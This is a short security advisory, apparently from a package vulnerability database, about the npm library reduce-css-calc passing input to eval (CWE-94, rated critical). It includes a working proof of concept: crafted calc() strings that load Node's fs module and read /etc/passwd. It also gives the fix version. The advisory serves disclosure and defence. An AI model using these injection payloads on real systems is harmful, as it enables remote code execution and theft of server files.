Affected versions of reduce-css-calc pass input directly to eval. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.
const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc( (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc( (fs['readFileSync']("/etc/passwd", "utf-8")))`));
Update to version 1.2.5 or later.
{
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2020-06-16T20:57:38Z",
"severity": "CRITICAL",
"cwe_ids": [
"CWE-94"
]
}